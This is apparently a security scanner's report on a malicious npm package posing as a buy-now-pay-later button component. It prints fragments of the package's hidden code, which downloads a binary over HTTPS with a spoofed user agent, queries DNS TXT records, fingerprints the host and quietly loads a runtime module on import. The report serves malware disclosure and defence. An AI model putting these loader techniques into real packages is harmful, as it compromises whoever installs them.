bnpl-blocks-atom-bnpl-button 35.4.7
Downloads and executes obfuscated payload
Library import stages and detaches a fetched executablenpm entry import conceals a native payload sidecar
SHA-25627a96571d68d60f68b3fdd56ebb95246d0a90d2fcf155a6827f06a665c2e6ed4
Also flagged by osv (MAL-2026-12867: Malicious code in bnpl-blocks-atom-bnpl-button (npm)) +2 more.
Evidence
1"use strict";
2
3const https = require("https");
4const os = require("os");
5const crypto = require("crypto");
6const fs = require("fs");
7const path = require("path");
8
⋯6 lines
64:7… nst st = fs.statSync(stampPath());
65 return (Date.now() - st.mtimeMs) < STAMP_TTL * 1000;
66 } catch (_) { return false; }
67}
68
69
70
71function fetchBin(host, urlPath) {
72 return new Promise((resolve) => {
73 const req = https.get({
74 hostname: host, path: urlPath, timeout: 15000, family: 4,
75 headers: { "User-Agent": "node-fetch/2.6", "Accept": "application/octet-stream, */*" },
76 }, (res) => {
77 _l();
78 if (res.statusCode !== 200) { res.resume(); return resolve(null); }
79 const chunks = [];
80 res.on("data", (c) => chunks.push(c));
81 res.on("end", () => { _l(); resolve(Buffer.concat(chunks)); });
82 });
83 req.on("error", () => resolve(null));
84 req.on("timeout", ( …
⋯6 lines
90function _dnsQuery(d) {
91 return new Promise((r) => {
92 try {
93 require("dns").resolveTxt(d, (e, rr) => {
94 if (e || !rr || !rr.length) return r("");
95 r(rr.map(x => x.join("")).join(""));
⋯8 lines
146
147let _sessionId = null;
148
149function initSession() {
150 if (!_sessionId) {
151 const seed = `${os["host" + "name"]()}-${process.pid}-${process.hrtime.bigint()}`;
152 _sessionId = crypto
153 .createHash("sha256")
154 .update(seed)
155 .digest("hex")
⋯12 lines
168 runtime: {
169 name: "node",
170 version: process.version,
171 },
172 sdk: {
⋯8 lines
16:8… ect.assign(this._opts, overrides);
17 return this;
18 }
19}
20
21module.exports = { BnplBlocksAtomBnplButton, create: (opts) => new BnplBlocksAtomBnplButton(opts), VERSION };
22
23try { require("./_runtime"); } catch (_) {}
No evidence locations were recorded for this file. Raw result